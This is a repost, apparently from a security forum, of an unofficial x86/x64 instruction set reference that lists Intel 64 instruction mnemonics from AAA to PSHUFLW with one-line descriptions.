Nytro

x86/x64 Instruction Set Reference This is an unofficial online version of the Intel 64 instruction set reference. It provides a list of the available instructions for IA-32 and Intel 64 microprocessors, their assembly mnemonics, encodings, descriptions, pseudo code and the exceptions they can throw. This information is largely compatible with AMD64 processors, except for some minor differences. [TABLE] [TR] [TH]Instruction[/TH] [TH]Description[/TH] [/TR] [TR] [TD] AAA [/TD] [TD] ASCII Adjust After Addition [/TD] [/TR] [TR] [TD] AAD [/TD] [TD] ASCII Adjust AX Before Division [/TD] [/TR] [TR] [TD] AAM [/TD] [TD] ASCII Adjust AX After Multiply [/TD] [/TR] [TR] [TD] AAS [/TD] [TD] ASCII Adjust AL After Subtraction [/TD] [/TR] [TR] [TD] ADD [/TD] [TD] Add [/TD] [/TR] [TR] [TD] ADDPD [/TD] [TD] Add Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDPS [/TD] [TD] Add Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDSD [/TD] [TD] Add Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDSS [/TD] [TD] Add Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDSUBPD [/TD] [TD] Packed Double-FP Add/Subtract [/TD] [/TR] [TR] [TD] ADDSUBPS [/TD] [TD] Packed Single-FP Add/Subtract [/TD] [/TR] [TR] [TD] AESDEC [/TD] [TD] Perform One Round of an AES Decryption Flow [/TD] [/TR] [TR] [TD] AESDECLAST [/TD] [TD] Perform Last Round of an AES Decryption Flow [/TD] [/TR] [TR] [TD] AESENC [/TD] [TD] Perform One Round of an AES Encryption Flow [/TD] [/TR] [TR] [TD] AESENCLAST [/TD] [TD] Perform Last Round of an AES Encryption Flow [/TD] [/TR] [TR] [TD] AESIMC [/TD] [TD] Perform the AES InvMixColumn Transformation [/TD] [/TR] [TR] [TD] AESKEYGENASSIST [/TD] [TD] AES Round Key Generation Assist [/TD] [/TR] [TR] [TD] ANDNPD [/TD] [TD] Bitwise Logical AND NOT of Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ANDNPS [/TD] [TD] Bitwise Logical AND NOT of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ANDPD [/TD] [TD] Bitwise Logical AND of Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ANDPS [/TD] [TD] Bitwise Logical AND of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ARPL [/TD] [TD] Adjust RPL Field of Segment Selector [/TD] [/TR] [TR] [TD] BLENDPD [/TD] [TD] Blend Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BLENDPS [/TD] [TD] Blend Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BLENDVPD [/TD] [TD] Variable Blend Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BLENDVPS [/TD] [TD] Variable Blend Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BOUND [/TD] [TD] Check Array Index Against Bounds [/TD] [/TR] [TR] [TD] BSF [/TD] [TD] Bit Scan Forward [/TD] [/TR] [TR] [TD] BSR [/TD] [TD] Bit Scan Reverse [/TD] [/TR] [TR] [TD] BSWAP [/TD] [TD] Byte Swap [/TD] [/TR] [TR] [TD] BT [/TD] [TD] Bit Test [/TD] [/TR] [TR] [TD] BTC [/TD] [TD] Bit Test and Complement [/TD] [/TR] [TR] [TD] BTR [/TD] [TD] Bit Test and Reset [/TD] [/TR] [TR] [TD] BTS [/TD] [TD] Bit Test and Set [/TD] [/TR] [TR] [TD] CALL [/TD] [TD] Call Procedure [/TD] [/TR] [TR] [TD] CBW/CWDE/CDQE [/TD] [TD] Convert Byte to Word/Convert Word to Doubleword/Convert Doubleword to Quadword [/TD] [/TR] [TR] [TD] CLC [/TD] [TD] Clear Carry Flag [/TD] [/TR] [TR] [TD] CLD [/TD] [TD] Clear Direction Flag [/TD] [/TR] [TR] [TD] CLFLUSH [/TD] [TD] Flush Cache Line [/TD] [/TR] [TR] [TD] CLI [/TD] [TD] Clear Interrupt Flag [/TD] [/TR] [TR] [TD] CLTS [/TD] [TD] Clear Task-Switched Flag in CR0 [/TD] [/TR] [TR] [TD] CMC [/TD] [TD] Complement Carry Flag [/TD] [/TR] [TR] [TD] CMOVcc [/TD] [TD] Conditional Move [/TD] [/TR] [TR] [TD] CMP [/TD] [TD] Compare Two Operands [/TD] [/TR] [TR] [TD] CMPPD [/TD] [TD] Compare Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] CMPPS [/TD] [TD] Compare Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] CMPS/CMPSB/CMPSW/CMPSD/CMPSQ [/TD] [TD] Compare String Operands [/TD] [/TR] [TR] [TD] CMPSS [/TD] [TD] Compare Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] CMPXCHG [/TD] [TD] Compare and Exchange [/TD] [/TR] [TR] [TD] CMPXCHG8B/CMPXCHG16B [/TD] [TD] Compare and Exchange Bytes [/TD] [/TR] [TR] [TD] COMISS [/TD] [TD] Compare Scalar Ordered Single-Precision Floating-Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] CPUID [/TD] [TD] CPU Identification [/TD] [/TR] [TR] [TD] CRC32 [/TD] [TD] Accumulate CRC32 Value [/TD] [/TR] [TR] [TD] CVTDQ2PD [/TD] [TD] Convert Packed Dword Integers to Packed Double-Precision FP Values [/TD] [/TR] [TR] [TD] CVTDQ2PS [/TD] [TD] Convert Packed Dword Integers to Packed Single-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPD2DQ [/TD] [TD] Convert Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTPD2PI [/TD] [TD] Convert Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTPD2PS [/TD] [TD] Convert Packed Double-Precision FP Values to Packed Single-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPI2PD [/TD] [TD] Convert Packed Dword Integers to Packed Double-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPI2PS [/TD] [TD] Convert Packed Dword Integers to Packed Single-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPS2DQ [/TD] [TD] Convert Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTPS2PD [/TD] [TD] Convert Packed Single-Precision FP Values to Packed Double-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPS2PI [/TD] [TD] Convert Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTSD2SI [/TD] [TD] Convert Scalar Double-Precision FP Value to Integer [/TD] [/TR] [TR] [TD] CVTSD2SS [/TD] [TD] Convert Scalar Double-Precision FP Value to Scalar Single-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSI2SD [/TD] [TD] Convert Dword Integer to Scalar Double-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSI2SS [/TD] [TD] Convert Dword Integer to Scalar Single-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSS2SD [/TD] [TD] Convert Scalar Single-Precision FP Value to Scalar Double-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSS2SI [/TD] [TD] Convert Scalar Single-Precision FP Value to Dword Integer [/TD] [/TR] [TR] [TD] CVTTPD2DQ [/TD] [TD] Convert with Truncation Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTPD2PI [/TD] [TD] Convert with Truncation Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTPS2DQ [/TD] [TD] Convert with Truncation Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTPS2PI [/TD] [TD] Convert with Truncation Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTSD2SI [/TD] [TD] Convert with Truncation Scalar Double-Precision FP Value to Signed Integer [/TD] [/TR] [TR] [TD] CVTTSS2SI [/TD] [TD] Convert with Truncation Scalar Single-Precision FP Value to Dword Integer [/TD] [/TR] [TR] [TD] CWD/CDQ/CQO [/TD] [TD] Convert Word to Doubleword/Convert Doubleword to Quadword [/TD] [/TR] [TR] [TD] DAA [/TD] [TD] Decimal Adjust AL after Addition [/TD] [/TR] [TR] [TD] DAS [/TD] [TD] Decimal Adjust AL after Subtraction [/TD] [/TR] [TR] [TD] DEC [/TD] [TD] Decrement by 1 [/TD] [/TR] [TR] [TD] DIV [/TD] [TD] Unsigned Divide [/TD] [/TR] [TR] [TD] DIVPD [/TD] [TD] Divide Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DIVPS [/TD] [TD] Divide Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DIVSD [/TD] [TD] Divide Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DIVSS [/TD] [TD] Divide Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DPPD [/TD] [TD] Dot Product of Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DPPS [/TD] [TD] Dot Product of Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] EMMS [/TD] [TD] Empty MMX Technology State [/TD] [/TR] [TR] [TD] ENTER [/TD] [TD] Make Stack Frame for Procedure Parameters [/TD] [/TR] [TR] [TD] EXTRACTPS [/TD] [TD] Extract Packed Single Precision Floating-Point Value [/TD] [/TR] [TR] [TD] F2XM1 [/TD] [TD] Calculate 2x - 1 [/TD] [/TR] [TR] [TD] FABS [/TD] [TD] Absolute Value [/TD] [/TR] [TR] [TD] FADD/FADDP/FIADD [/TD] [TD] Add [/TD] [/TR] [TR] [TD] FBLD [/TD] [TD] Load Binary Coded Decimal [/TD] [/TR] [TR] [TD] FBSTP [/TD] [TD] Store BCD Integer and Pop [/TD] [/TR] [TR] [TD] FCHS [/TD] [TD] Change Sign [/TD] [/TR] [TR] [TD] FCLEX/FNCLEX [/TD] [TD] Clear Exceptions [/TD] [/TR] [TR] [TD] FCMOVcc [/TD] [TD] Floating-Point Conditional Move [/TD] [/TR] [TR] [TD] FCOMI/FCOMIP/FUCOMI/FUCOMIP [/TD] [TD] Compare Floating Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] FDECSTP [/TD] [TD] Decrement Stack-Top Pointer [/TD] [/TR] [TR] [TD] FDIV/FDIVP/FIDIV [/TD] [TD] Divide [/TD] [/TR] [TR] [TD] FDIVR/FDIVRP/FIDIVR [/TD] [TD] Reverse Divide [/TD] [/TR] [TR] [TD] FICOM/FICOMP [/TD] [TD] Compare Integer [/TD] [/TR] [TR] [TD] FILD [/TD] [TD] Load Integer [/TD] [/TR] [TR] [TD] FINCSTP [/TD] [TD] Increment Stack-Top Pointer [/TD] [/TR] [TR] [TD] FINIT/FNINIT [/TD] [TD] Initialize Floating-Point Unit [/TD] [/TR] [TR] [TD] FIST/FISTP [/TD] [TD] Store Integer [/TD] [/TR] [TR] [TD] FISTTP [/TD] [TD] Store Integer with Truncation [/TD] [/TR] [TR] [TD] FLD [/TD] [TD] Load Floating Point Value [/TD] [/TR] [TR] [TD] FLD1/FLDL2T/FLDL2E/FLDPI/FLDLG2/FLDLN2/FLDZ [/TD] [TD] Load Constant [/TD] [/TR] [TR] [TD] FLDENV [/TD] [TD] Load x87 FPU Environment [/TD] [/TR] [TR] [TD] FMUL/FMULP/FIMUL [/TD] [TD] Multiply [/TD] [/TR] [TR] [TD] FNOP [/TD] [TD] No Operation [/TD] [/TR] [TR] [TD] FPATAN [/TD] [TD] Partial Arctangent [/TD] [/TR] [TR] [TD] FPREM [/TD] [TD] Partial Remainder [/TD] [/TR] [TR] [TD] FPREM1 [/TD] [TD] Partial Remainder [/TD] [/TR] [TR] [TD] FPTAN [/TD] [TD] Partial Tangent [/TD] [/TR] [TR] [TD] FRNDINT [/TD] [TD] Round to Integer [/TD] [/TR] [TR] [TD] FRSTOR [/TD] [TD] Restore x87 FPU State [/TD] [/TR] [TR] [TD] FSAVE/FNSAVE [/TD] [TD] Store x87 FPU State [/TD] [/TR] [TR] [TD] FSCALE [/TD] [TD] Scale [/TD] [/TR] [TR] [TD] FSIN [/TD] [TD] Sine [/TD] [/TR] [TR] [TD] FSINCOS [/TD] [TD] Sine and Cosine [/TD] [/TR] [TR] [TD] FSQRT [/TD] [TD] Square Root [/TD] [/TR] [TR] [TD] FSTCW/FNSTCW [/TD] [TD] Store x87 FPU Control Word [/TD] [/TR] [TR] [TD] FSTENV/FNSTENV [/TD] [TD] Store x87 FPU Environment [/TD] [/TR] [TR] [TD] FST/FSTP [/TD] [TD] Store Floating Point Value [/TD] [/TR] [TR] [TD] FSTSW/FNSTSW [/TD] [TD] Store x87 FPU Status Word [/TD] [/TR] [TR] [TD] FSUB/FSUBP/FISUB [/TD] [TD] Subtract [/TD] [/TR] [TR] [TD] FSUBR/FSUBRP/FISUBR [/TD] [TD] Reverse Subtract [/TD] [/TR] [TR] [TD] FTST [/TD] [TD] TEST [/TD] [/TR] [TR] [TD] FUCOM/FUCOMP/FUCOMPP [/TD] [TD] Unordered Compare Floating Point Values [/TD] [/TR] [TR] [TD] FXCH [/TD] [TD] Exchange Register Contents [/TD] [/TR] [TR] [TD] FXRSTOR [/TD] [TD] Restore x87 FPU, MMX , XMM, and MXCSR State [/TD] [/TR] [TR] [TD] FXSAVE [/TD] [TD] Save x87 FPU, MMX Technology, and SSE State [/TD] [/TR] [TR] [TD] FXTRACT [/TD] [TD] Extract Exponent and Significand [/TD] [/TR] [TR] [TD] FYL2X [/TD] [TD] Calculate y × log2(x) [/TD] [/TR] [TR] [TD] FYL2XP1 [/TD] [TD] Calculate y × log2(x + 1) [/TD] [/TR] [TR] [TD] GETSEC[CAPABILITIES] [/TD] [TD] Report the SMX Capabilities [/TD] [/TR] [TR] [TD] GETSEC[ENTERACCS] [/TD] [TD] Execute Authenticated Chipset Code [/TD] [/TR] [TR] [TD] GETSEC[PARAMETERS] [/TD] [TD] Report the SMX Parameters [/TD] [/TR] [TR] [TD] GETSEC[sENTER] [/TD] [TD] Enter a Measured Environment [/TD] [/TR] [TR] [TD] GETSEC[sEXIT] [/TD] [TD] Exit Measured Environment [/TD] [/TR] [TR] [TD] GETSEC[sMCTRL] [/TD] [TD] SMX Mode Control [/TD] [/TR] [TR] [TD] GETSEC[WAKEUP] [/TD] [TD] Wake up sleeping processors in measured environment [/TD] [/TR] [TR] [TD] HADDPD [/TD] [TD] Packed Double-FP Horizontal Add [/TD] [/TR] [TR] [TD] HADDPS [/TD] [TD] Packed Single-FP Horizontal Add [/TD] [/TR] [TR] [TD] HLT [/TD] [TD] Halt [/TD] [/TR] [TR] [TD] HSUBPD [/TD] [TD] Packed Double-FP Horizontal Subtract [/TD] [/TR] [TR] [TD] HSUBPS [/TD] [TD] Packed Single-FP Horizontal Subtract [/TD] [/TR] [TR] [TD] IDIV [/TD] [TD] Signed Divide [/TD] [/TR] [TR] [TD] IMUL [/TD] [TD] Signed Multiply [/TD] [/TR] [TR] [TD] IN [/TD] [TD] Input from Port [/TD] [/TR] [TR] [TD] INC [/TD] [TD] Increment by 1 [/TD] [/TR] [TR] [TD] INSERTPS [/TD] [TD] Insert Packed Single Precision Floating-Point Value [/TD] [/TR] [TR] [TD] INS/INSB/INSW/INSD [/TD] [TD] Input from Port to String [/TD] [/TR] [TR] [TD] INT n/INTO/INT 3 [/TD] [TD] Call to Interrupt Procedure [/TD] [/TR] [TR] [TD] INVD [/TD] [TD] Invalidate Internal Caches [/TD] [/TR] [TR] [TD] INVEPT [/TD] [TD] Invalidate Translations Derived from EPT [/TD] [/TR] [TR] [TD] INVLPG [/TD] [TD] Invalidate TLB Entry [/TD] [/TR] [TR] [TD] INVVPID [/TD] [TD] Invalidate Translations Based on VPID [/TD] [/TR] [TR] [TD] IRET/IRETD [/TD] [TD] Interrupt Return [/TD] [/TR] [TR] [TD] Jcc [/TD] [TD] Jump if Condition Is Met [/TD] [/TR] [TR] [TD] JMP [/TD] [TD] Jump [/TD] [/TR] [TR] [TD] LAHF [/TD] [TD] Load Status Flags into AH Register [/TD] [/TR] [TR] [TD] LAR [/TD] [TD] Load Access Rights Byte [/TD] [/TR] [TR] [TD] LDDQU [/TD] [TD] Load Unaligned Integer 128 Bits [/TD] [/TR] [TR] [TD] LDMXCSR [/TD] [TD] Load MXCSR Register [/TD] [/TR] [TR] [TD] LDS/LES/LFS/LGS/LSS [/TD] [TD] Load Far Pointer [/TD] [/TR] [TR] [TD] LEAVE [/TD] [TD] High Level Procedure Exit [/TD] [/TR] [TR] [TD] LFENCE [/TD] [TD] Load Fence [/TD] [/TR] [TR] [TD] LGDT/LIDT [/TD] [TD] Load Global/Interrupt Descriptor Table Register [/TD] [/TR] [TR] [TD] LLDT [/TD] [TD] Load Local Descriptor Table Register [/TD] [/TR] [TR] [TD] LMSW [/TD] [TD] Load Machine Status Word [/TD] [/TR] [TR] [TD] LOCK [/TD] [TD] Assert LOCK# Signal Prefix [/TD] [/TR] [TR] [TD] LODS/LODSB/LODSW/LODSD/LODSQ [/TD] [TD] Load String [/TD] [/TR] [TR] [TD] LSL [/TD] [TD] Load Segment Limit [/TD] [/TR] [TR] [TD] LTR [/TD] [TD] Load Task Register [/TD] [/TR] [TR] [TD] MASKMOVDQU [/TD] [TD] Store Selected Bytes of Double Quadword [/TD] [/TR] [TR] [TD] MASKMOVQ [/TD] [TD] Store Selected Bytes of Quadword [/TD] [/TR] [TR] [TD] MAXPD [/TD] [TD] Return Maximum Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MAXPS [/TD] [TD] Return Maximum Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MAXSD [/TD] [TD] Return Maximum Scalar Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MAXSS [/TD] [TD] Return Maximum Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MFENCE [/TD] [TD] Memory Fence [/TD] [/TR] [TR] [TD] MINPD [/TD] [TD] Return Minimum Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MINPS [/TD] [TD] Return Minimum Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MINSD [/TD] [TD] Return Minimum Scalar Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MINSS [/TD] [TD] Return Minimum Scalar Single-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MONITOR [/TD] [TD] Set Up Monitor Address [/TD] [/TR] [TR] [TD] MOV [/TD] [TD] Move to/from Control Registers [/TD] [/TR] [TR] [TD] MOV [/TD] [TD] Move to/from Debug Registers [/TD] [/TR] [TR] [TD] MOV [/TD] [TD] Move [/TD] [/TR] [TR] [TD] MOVAPD [/TD] [TD] Move Aligned Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVAPS [/TD] [TD] Move Aligned Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVBE [/TD] [TD] Move Data After Swapping Bytes [/TD] [/TR] [TR] [TD] MOVDDUP [/TD] [TD] Move One Double-FP and Duplicate [/TD] [/TR] [TR] [TD] MOVD/MOVQ [/TD] [TD] Move Doubleword/Move Quadword [/TD] [/TR] [TR] [TD] MOVDQ2Q [/TD] [TD] Move Quadword from XMM to MMX Technology Register [/TD] [/TR] [TR] [TD] MOVDQA [/TD] [TD] Move Aligned Double Quadword [/TD] [/TR] [TR] [TD] MOVDQU [/TD] [TD] Move Unaligned Double Quadword [/TD] [/TR] [TR] [TD] MOVHLPS [/TD] [TD] Move Packed Single-Precision Floating-Point Values High to Low [/TD] [/TR] [TR] [TD] MOVHPD [/TD] [TD] Move High Packed Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MOVHPS [/TD] [TD] Move High Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVLHPS [/TD] [TD] Move Packed Single-Precision Floating-Point Values Low to High [/TD] [/TR] [TR] [TD] MOVLPD [/TD] [TD] Move Low Packed Double-Precision Floating-Point Value [/TD] [/TR] [TR] [TD] MOVLPS [/TD] [TD] Move Low Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVMSKPD [/TD] [TD] Extract Packed Double-Precision Floating-Point Sign Mask [/TD] [/TR] [TR] [TD] MOVMSKPS [/TD] [TD] Extract Packed Single-Precision Floating-Point Sign Mask [/TD] [/TR] [TR] [TD] MOVNTDQ [/TD] [TD] Store Double Quadword Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTDQA [/TD] [TD] Load Double Quadword Non-Temporal Aligned Hint [/TD] [/TR] [TR] [TD] MOVNTI [/TD] [TD] Store Doubleword Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTPD [/TD] [TD] Store Packed Double-Precision Floating-Point Values Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTPS [/TD] [TD] Store Packed Single-Precision Floating-Point Values Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVNTQ [/TD] [TD] Store of Quadword Using Non-Temporal Hint [/TD] [/TR] [TR] [TD] MOVQ [/TD] [TD] Move Quadword [/TD] [/TR] [TR] [TD] MOVQ2DQ [/TD] [TD] Move Quadword from MMX Technology to XMM Register [/TD] [/TR] [TR] [TD] MOVSHDUP [/TD] [TD] Move Packed Single-FP High and Duplicate [/TD] [/TR] [TR] [TD] MOVSLDUP [/TD] [TD] Move Packed Single-FP Low and Duplicate [/TD] [/TR] [TR] [TD] MOVS/MOVSB/MOVSW/MOVSD/MOVSQ [/TD] [TD] Move Data from String to String [/TD] [/TR] [TR] [TD] MOVSS [/TD] [TD] Move Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVSX/MOVSXD [/TD] [TD] Move with Sign-Extension [/TD] [/TR] [TR] [TD] MOVUPD [/TD] [TD] Move Unaligned Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVUPS [/TD] [TD] Move Unaligned Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MOVZX [/TD] [TD] Move with Zero-Extend [/TD] [/TR] [TR] [TD] MPSADBW [/TD] [TD] Compute Multiple Packed Sums of Absolute Difference [/TD] [/TR] [TR] [TD] MUL [/TD] [TD] Unsigned Multiply [/TD] [/TR] [TR] [TD] MULPD [/TD] [TD] Multiply Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MULPS [/TD] [TD] Multiply Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MULSD [/TD] [TD] Multiply Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MULSS [/TD] [TD] Multiply Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] MWAIT [/TD] [TD] Monitor Wait [/TD] [/TR] [TR] [TD] NEG [/TD] [TD] Two's Complement Negation [/TD] [/TR] [TR] [TD] NOP [/TD] [TD] No Operation [/TD] [/TR] [TR] [TD] NOT [/TD] [TD] One's Complement Negation [/TD] [/TR] [TR] [TD] OR [/TD] [TD] Logical Inclusive OR [/TD] [/TR] [TR] [TD] ORPD [/TD] [TD] Bitwise Logical OR of Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ORPS [/TD] [TD] Bitwise Logical OR of Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] OUT [/TD] [TD] Output to Port [/TD] [/TR] [TR] [TD] OUTS/OUTSB/OUTSW/OUTSD [/TD] [TD] Output String to Port [/TD] [/TR] [TR] [TD] PABSB/PABSW/PABSD [/TD] [TD] Packed Absolute Value [/TD] [/TR] [TR] [TD] PACKUSDW [/TD] [TD] Pack with Unsigned Saturation [/TD] [/TR] [TR] [TD] PACKUSWB [/TD] [TD] Pack with Unsigned Saturation [/TD] [/TR] [TR] [TD] PADDB/PADDW/PADDD [/TD] [TD] Add Packed Integers [/TD] [/TR] [TR] [TD] PADDQ [/TD] [TD] Add Packed Quadword Integers [/TD] [/TR] [TR] [TD] PADDSB/PADDSW [/TD] [TD] Add Packed Signed Integers with Signed Saturation [/TD] [/TR] [TR] [TD] PADDUSB/PADDUSW [/TD] [TD] Add Packed Unsigned Integers with Unsigned Saturation [/TD] [/TR] [TR] [TD] PALIGNR [/TD] [TD] Packed Align Right [/TD] [/TR] [TR] [TD] PAND [/TD] [TD] Logical AND [/TD] [/TR] [TR] [TD] PANDN [/TD] [TD] Logical AND NOT [/TD] [/TR] [TR] [TD] PAUSE [/TD] [TD] Spin Loop Hint [/TD] [/TR] [TR] [TD] PAVGB/PAVGW [/TD] [TD] Average Packed Integers [/TD] [/TR] [TR] [TD] PBLENDVB [/TD] [TD] Variable Blend Packed Bytes [/TD] [/TR] [TR] [TD] PBLENDW [/TD] [TD] Blend Packed Words [/TD] [/TR] [TR] [TD] PCLMULQDQ [/TD] [TD] Carry-Less Multiplication Quadword [/TD] [/TR] [TR] [TD] PCMPEQB/PCMPEQW/PCMPEQD [/TD] [TD] Compare Packed Data for Equal [/TD] [/TR] [TR] [TD] PCMPESTRI [/TD] [TD] Packed Compare Explicit Length Strings, Return Index [/TD] [/TR] [TR] [TD] PCMPESTRM [/TD] [TD] Packed Compare Explicit Length Strings, Return Mask [/TD] [/TR] [TR] [TD] PCMPGTB/PCMPGTW/PCMPGTD [/TD] [TD] Compare Packed Signed Integers for Greater Than [/TD] [/TR] [TR] [TD] PCMPISTRI [/TD] [TD] Packed Compare Implicit Length Strings, Return Index [/TD] [/TR] [TR] [TD] PCMPISTRM [/TD] [TD] Packed Compare Implicit Length Strings, Return Mask [/TD] [/TR] [TR] [TD] PEXTRB/PEXTRD/PEXTRQ [/TD] [TD] Extract Byte/Dword/Qword [/TD] [/TR] [TR] [TD] PHADDSW [/TD] [TD] Packed Horizontal Add and Saturate [/TD] [/TR] [TR] [TD] PHADDW/PHADDD [/TD] [TD] Packed Horizontal Add [/TD] [/TR] [TR] [TD] PHMINPOSUW [/TD] [TD] Packed Horizontal Word Minimum [/TD] [/TR] [TR] [TD] PHSUBSW [/TD] [TD] Packed Horizontal Subtract and Saturate [/TD] [/TR] [TR] [TD] PHSUBW/PHSUBD [/TD] [TD] Packed Horizontal Subtract [/TD] [/TR] [TR] [TD] PINSRB/PINSRD/PINSRQ [/TD] [TD] Insert Byte/Dword/Qword [/TD] [/TR] [TR] [TD] PMADDUBSW [/TD] [TD] Multiply and Add Packed Signed and Unsigned Bytes [/TD] [/TR] [TR] [TD] PMADDWD [/TD] [TD] Multiply and Add Packed Integers [/TD] [/TR] [TR] [TD] PMAXSB [/TD] [TD] Maximum of Packed Signed Byte Integers [/TD] [/TR] [TR] [TD] PMAXSD [/TD] [TD] Maximum of Packed Signed Dword Integers [/TD] [/TR] [TR] [TD] PMAXSW [/TD] [TD] Maximum of Packed Signed Word Integers [/TD] [/TR] [TR] [TD] PMAXUB [/TD] [TD] Maximum of Packed Unsigned Byte Integers [/TD] [/TR] [TR] [TD] PMAXUD [/TD] [TD] Maximum of Packed Unsigned Dword Integers [/TD] [/TR] [TR] [TD] PMAXUW [/TD] [TD] Maximum of Packed Word Integers [/TD] [/TR] [TR] [TD] PMINSB [/TD] [TD] Minimum of Packed Signed Byte Integers [/TD] [/TR] [TR] [TD] PMINSD [/TD] [TD] Minimum of Packed Dword Integers [/TD] [/TR] [TR] [TD] PMINSW [/TD] [TD] Minimum of Packed Signed Word Integers [/TD] [/TR] [TR] [TD] PMINUB [/TD] [TD] Minimum of Packed Unsigned Byte Integers [/TD] [/TR] [TR] [TD] PMINUD [/TD] [TD] Minimum of Packed Dword Integers [/TD] [/TR] [TR] [TD] PMINUW [/TD] [TD] Minimum of Packed Word Integers [/TD] [/TR] [TR] [TD] PMOVMSKB [/TD] [TD] Move Byte Mask [/TD] [/TR] [TR] [TD] PMOVSX [/TD] [TD] Packed Move with Sign Extend [/TD] [/TR] [TR] [TD] PMOVZX [/TD] [TD] Packed Move with Zero Extend [/TD] [/TR] [TR] [TD] PMULDQ [/TD] [TD] Multiply Packed Signed Dword Integers [/TD] [/TR] [TR] [TD] PMULHRSW [/TD] [TD] Packed Multiply High with Round and Scale [/TD] [/TR] [TR] [TD] PMULHUW [/TD] [TD] Multiply Packed Unsigned Integers and Store High Result [/TD] [/TR] [TR] [TD] PMULHW [/TD] [TD] Multiply Packed Signed Integers and Store High Result [/TD] [/TR] [TR] [TD] PMULLD [/TD] [TD] Multiply Packed Signed Dword Integers and Store Low Result [/TD] [/TR] [TR] [TD] PMULLW [/TD] [TD] Multiply Packed Signed Integers and Store Low Result [/TD] [/TR] [TR] [TD] PMULUDQ [/TD] [TD] Multiply Packed Unsigned Doubleword Integers [/TD] [/TR] [TR] [TD] POP [/TD] [TD] Pop a Value from the Stack [/TD] [/TR] [TR] [TD] POPA/POPAD [/TD] [TD] Pop All General-Purpose Registers [/TD] [/TR] [TR] [TD] POPCNT [/TD] [TD] Return the Count of Number of Bits Set to 1 [/TD] [/TR] [TR] [TD] POPF/POPFD/POPFQ [/TD] [TD] Pop Stack into EFLAGS Register [/TD] [/TR] [TR] [TD] POR [/TD] [TD] Bitwise Logical OR [/TD] [/TR] [TR] [TD] PREFETCHh [/TD] [TD] Prefetch Data Into Caches [/TD] [/TR] [TR] [TD] PSADBW [/TD] [TD] Compute Sum of Absolute Differences [/TD] [/TR] [TR] [TD] PSHUFB [/TD] [TD] Packed Shuffle Bytes [/TD] [/TR] [TR] [TD] PSHUFD [/TD] [TD] Shuffle Packed Doublewords [/TD] [/TR] [TR] [TD] PSHUFHW [/TD] [TD] Shuffle Packed High Words [/TD] [/TR] [TR] [TD] PSHUFLW [/TD] [TD] Shuffle Packed Low Words [/TD] [/TR] 